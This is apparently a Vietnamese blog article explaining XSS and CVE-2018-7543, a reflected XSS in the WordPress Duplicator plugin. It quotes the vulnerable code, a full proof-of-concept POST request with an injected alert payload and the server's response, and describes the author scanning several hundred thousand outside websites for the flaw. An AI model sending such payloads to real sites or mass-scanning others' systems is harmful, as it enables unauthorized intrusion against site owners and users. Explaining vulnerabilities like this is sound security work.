Wordpress

Wordpress là 1 hệ quản trị nội dung (CMS) mã nguồn mở phổ biến nhất, được sử dụng bởi gần 75 triệu website trên toàn thế giới. Nó được dùng để phát triển các web từ đơn giản như trang blog cá nhân, cho đến phức tạp như web thương mại điện tử, báo điện tử.
Wordpress được viết bởi PHP và sử dụng MySQL làm hệ quản trị cơ sở dữ liệu. Với số lượng người dùng đông đảo như vậy, những lỗ hổng bảo mật trong Wordpress có ảnh hưởng rất lớn đến cộng đồng. Có khá nhiều CVE của Wordpress được công bố trong vài năm trở lại đây. Các lỗi này thường là lỗi logic hệ thống, RCE, SSRF, CSRF, XXE, serialization... Trong bài viết này, tôi sẽ tập trung phân tích lỗi xss trong Wordpress, cụ thể hơn là CVE-2018-7543.

Cross Site Scripting

Có lẽ XSS là 1 trong những lỗi kinh điển và phổ biến nhất trong các lỗi bảo mật trang web. So với các lỗi khác như SQLi, SSRF, IDOR, Object injection,... XSS tương đối dễ nhận biết và khai thác. XSS (Cross-site-scripting) cho phép kẻ tấn công chèn các đoạn script bất kì vào nội dung trang web. Tận dụng điều này, kẻ tấn công có thể lấy được cookie, chiếm phiên đăng nhập, lừa người dùng nhập thông tin nhạy cảm, ... . Lỗ hổng XSS cũng mở ra nhiều kịch bản tấn công mới. XSS có thể vô hiệu hóa hoàn toàn các biện pháp ngăn chặn CSRF phổ biến, như sử dụng token đính kèm vào mỗi request của người dùng đã được xác thực.
Để giảm thiểu nguy cơ bị lỗi XSS, nhà phát triển cần lọc các dữ liệu người dùng nhập vào thông qua các biện pháp blacklist, whitelist. Tuy nhiên, chỉ vậy là chưa đủ. Bởi vì có rất nhiều attack vector để khai thác XSS, kẻ tấn công vẫn có thể tìm ra payload vượt qua lớp phòng thủ này. Nhà phát triển cần escape mọi kí tự đặc biệt trong html như ', ", <, > ... trước khi trả về trong response của server. Cách hiệu qủa và an toàn nhất là sử dụng các cơ chế lọc input có sẵn của các web framework, thay vì tự xây dựng một hệ thống mới.

CVE-2018-7543

Duplicator là một Wordpress plugin cho phép sao chép hoặc chuyển đổi một website Wordpress giữa các domain hoặc host khác nhau. Các phiên bản Duplicator từ 1.2.32 trở về trước chứa lỗi reflected XSS. Cụ thể hơn, trong file /wp-content/plugins/duplicator/installer/build/view.step4.php, dữ liệu POST từ người dùng được server trả nguyên về trong response mà không qua bất cứ cơ chế lọc nào.
Dưới đây là đoạn code dẫn đến XSS:

<script>
	MyViewModel = function() {
		this.status = <?php echo urldecode($_POST['json']); ?>;
		var errorCount =  this.status.step2.query_errs || 0;
		(errorCount >= 1 )
			? $('#dup-step3-install-report-count').css('color', '#BE2323')
			: $('#dup-step3-install-report-count').css('color', '#197713')
	};
	ko.applyBindings(new MyViewModel());
</script>

Bạn có thể thấy dữ liệu người dùng truyền vào qua tham số json được chèn trực tiếp vào code Javascript. Tận dụng điều này, kẻ tấn công dễ dàng tạo payload để chèn bất cứ đoạn mã Javascript độc hại nào.
Để khai thác CVE-2018-7543, hacker có thể gửi HTTP request sau đây:

POST /wp-content/plugins/duplicator/installer/build/view.step4.php HTTP/1.1
Host: <hostname>
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 64

json='a';};alert(123);MyViewModel%3dfunction(){this.status%3d1

Server sẽ trả về response:

HTTP/1.1 200 OK
Date: Mon, 12 Feb 2018 14:15:28 GMT
Server: Apache/2.4.29 (Debian)
Vary: Accept-Encoding
Content-Length: 10224
Connection: close
Content-Type: text/html; charset=UTF-8

...

<script>
MyViewModel = function() {
this.status = 'a';};alert(123);MyViewModel=function(){this.status='';
var errorCount = this.status.step2.query_errs || 0;
(errorCount >= 1 )
? $('#dup-step3-install-report-count').css('color', '#BE2323')
: $('#dup-step3-install-report-count').css('color', '#197713')
};
ko.applyBindings(new MyViewModel()); 
</script>

Để giải quyết rủi ro từ lỗ hổng này, nhà phát triển nên update plugin Duplicator lên phiên bản mới nhất.

Demo

Do CVE này còn khá mới (công bố ngày 26/3/2018) và phổ biến (plugin Duplicator có hơn 1 triệu lượt kích hoạt), tôi quyết định chạy script quét trên 1 tập vài trăm ngàn website xem website nào vẫn còn lỗ hổng. Script này khá đơn giản, chỉ cần gửi POST request với payload có sẵn đến url, và quan sát xem response server trả về có match đoạn regex XSS không.
Kết quả tốt hơn tôi mong đợi, khi có tới trên dưới 30 website báo lỗi. Tuy nhiên, để cho chắc chắn, tôi vẫn phải kiểm tra XSS lại bằng tay. Mặc dù payload gửi vào hiện lên trên nội dung trang web được trả về, nó đã được escape các kí tự đặc biệt bởi nhà phát triển. Cụ thể hơn, các kí tự ', " được chuyển thành HTML entities hoặc chèn quote " lên phía trước.

Do lỗi XSS này thuộc dạng reflected, kịch bản tấn công yêu cầu lừa người dùng truy cập đến URL chứa mã độc. Các tác vụ này đòi hỏi sử dụng các kĩ thuật social engineering để tương tác với người dùng trang web bị lỗi.